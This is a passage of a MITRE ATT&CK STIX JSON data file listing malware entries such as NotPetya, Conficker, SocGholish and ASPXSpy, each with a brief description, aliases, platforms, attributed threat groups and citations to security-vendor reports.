2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:39:27.698Z","name":"DCSrv","description":"[DCSrv](https://attack.mitre.org/software/S1033) is destructive malware that has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) since at least September 2021. Though [DCSrv](https://attack.mitre.org/software/S1033) has ransomware-like capabilities, [Moses Staff](https://attack.mitre.org/groups/G1009) does not demand ransom or offer a decryption key.(Citation: Checkpoint MosesStaff Nov 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["DCSrv"],"type":"malware","id":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","created":"2022-08-11T22:31:31.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1033","external_id":"S1033"},{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-17T13:52:45.671Z","name":"DRATzarus","description":"[DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["DRATzarus"],"type":"malware","id":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","created":"2022-03-24T11:23:51.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0694","external_id":"S0694"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:48:51.475Z","name":"BOOSTWRITE","description":"[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["BOOSTWRITE"],"type":"malware","id":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","created":"2019-10-11T16:04:31.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0415","external_id":"S0415"},{"source_name":"FireEye FIN7 Oct 2019","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:14:23.264Z","name":"Rising Sun","description":"[Rising Sun](https://attack.mitre.org/software/S0448) is a modular backdoor that was used extensively in [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013) between 2017 and 2019. [Rising Sun](https://attack.mitre.org/software/S0448) infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed [Rising Sun](https://attack.mitre.org/software/S0448) included some source code from [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_aliases":["Rising Sun"],"type":"malware","id":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","created":"2020-05-14T22:29:25.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0448","external_id":"S0448"},{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-05-22T19:06:12.701Z","name":"ASPXSpy","description":"[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["ASPXSpy","ASPXTool"],"type":"malware","id":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","created":"2017-05-31T21:32:47.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0073","external_id":"S0073"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-08T22:11:21.842Z","name":"NotPetya","description":"[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["NotPetya","ExPetr","Diskcoder.C","GoldenEye","Petrwrap","Nyetya"],"type":"malware","id":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","created":"2019-03-26T15:02:14.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0368","external_id":"S0368"},{"source_name":"ExPetr","description":"(Citation: ESET Telebots June 2017)"},{"source_name":"Diskcoder.C","description":"(Citation: ESET Telebots June 2017)"},{"source_name":"GoldenEye","description":"(Citation: Talos Nyetya June 2017)"},{"source_name":"Nyetya","description":"(Citation: Talos Nyetya June 2017)"},{"source_name":"Petrwrap","description":"(Citation: Talos Nyetya June 2017)(Citation: ESET Telebots June 2017)"},{"source_name":"ESET Telebots June 2017","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020.","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/"},{"source_name":"Talos Nyetya June 2017","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"},{"source_name":"US-CERT NotPetya 2017","description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ShimRat"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","type":"malware","created":"2020-05-12T21:28:20.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0444","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0444"},{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-29T03:39:40.754Z","name":"ShimRat","description":"[ShimRat](https://attack.mitre.org/software/S0444) has been used by the suspected China-based adversary [Mofang](https://attack.mitre.org/groups/G0103) in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"[ShimRat](https://attack.mitre.org/software/S0444)\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. (Citation: FOX-IT May 2016 Mofang)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:45:43.666Z","name":"Chrommme","description":"[Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666) malware.(Citation: ESET Gelsemium June 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Chrommme"],"type":"malware","id":"malware--579607c2-d046-40df-99ab-beb479c37a2a","created":"2021-12-01T18:36:54.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0667","external_id":"S0667"},{"source_name":"ESET Gelsemium June 2021","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BADFLICK"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","type":"malware","created":"2021-08-26T18:49:41.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0642","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0642"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-15T11:41:06.816Z","name":"BADFLICK","description":"[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ObliqueRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","type":"malware","created":"2021-09-08T19:53:27.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0644","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0644"},{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.250Z","name":"ObliqueRAT","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SHOTPUT","Backdoor.APT.CookieCutter","Pirpi"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","type":"malware","created":"2017-05-31T21:32:42.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0063","external_id":"S0063"},{"source_name":"Backdoor.APT.CookieCutter","description":"(Citation: FireEye Clandestine Fox Part 2)"},{"source_name":"Pirpi","description":"(Citation: FireEye Clandestine Fox Part 2)"},{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"},{"source_name":"FireEye Clandestine Fox Part 2","description":"Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"}],"modified":"2020-03-30T18:09:41.437Z","name":"SHOTPUT","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Brenton, Zurich Global Information Security"],"x_mitre_aliases":["Avaddon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","type":"malware","created":"2021-08-23T19:38:33.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0640","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0640"},{"source_name":"Awake Security Avaddon","url":"https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/","description":"Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021."},{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-18T21:41:22.437Z","name":"Avaddon","description":"[Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-08T22:15:47.458Z","name":"Conficker","description":"[Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Conficker","Kido","Downadup"],"type":"malware","id":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","created":"2021-02-23T20:50:32.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0608","external_id":"S0608"},{"source_name":"Kido","description":"(Citation: SANS Conficker) "},{"source_name":"Downadup","description":"(Citation: SANS Conficker) "},{"source_name":"SANS Conficker","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021.","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm"},{"source_name":"Conficker Nuclear Power Plant","description":"Cimpanu, C. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved February 18, 2021.","url":"https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-06T00:08:07.956Z","name":"SocGholish","description":"[SocGholish](https://attack.mitre.org/software/S1124) is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by [Mustard Tempest](https://attack.mitre.org/groups/G1020) and its access has been sold to groups including [Indrik Spider](https://attack.mitre.org/groups/G0119) for downloading secondary RAT and ransomware payloads.(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["SocGholish","FakeUpdates"],"type":"malware","id":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","created":"2024-03-22T19:21:30.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1124","external_id":"S1124"},{"source_name":"FakeUpdates","description":"(Citation: Red Canary SocGholish March 2024)"},{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"},{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T21:39:21.144Z","name":"Flagpro","description":"[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Hannah Simes, BT Security"],"x_mitre_aliases":["Flagpro"],"type":"malware","id":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","created":"2022-03-25T14:58:24.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0696","external_id":"S0696"},{"source_name":"NTT Security Flagpro new December 2021","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:20:26.551Z","name":"Hi-Zor","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Hi-Zor"],"type":"malware","id":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","created":"2017-05-31T21:32:56.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0087","external_id":"S0087"},{"source_name":"Fidelis Hi-Zor","description":"Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SpicyOmelette"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","type":"malware","created":"2021-09-21T14:55:00.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0646","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0646"},{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-10-18T16:42:45.608Z","name":"SpicyOmelette","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["XAgentOSX","OSX.Sofacy"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0161","external_id":"S0161"},{"source_name":"XAgentOSX","description":"(Citation: XAgentOSX 2017)"},{"source_name":"OSX.Sofacy","description":"(Citation: Symantec APT28 Oct 2018)"},{"url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","source_name":"XAgentOSX 2017"},{"description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","source_name":"Symantec APT28 Oct 2018"}],"modified":"2020-03-30T18:30:21.733Z","name":"XAgentOSX","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. (Citation: XAgentOSX 2017)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","iOS","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Runa Sandvik"],"x_mitre_aliases":["Green Lambert"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","created":"2022-03-21T20:55:40.638Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0690","url":"https://attack.mitre.org/software/S0690"},{"source_name":"Green Lambert","description":"(Citation: Kaspersky Lamberts Toolkit April 2017)"},{"source_name":"Kaspersky Lamberts Toolkit April 2017","url":"https://securelist.com/unraveling-the-lamberts-toolkit/77990/","description":"GREAT. (2017, April 11). Unraveling the Lamberts Toolkit. Retrieved March 21, 2022."},{"source_name":"Objective See Green Lambert for OSX Oct 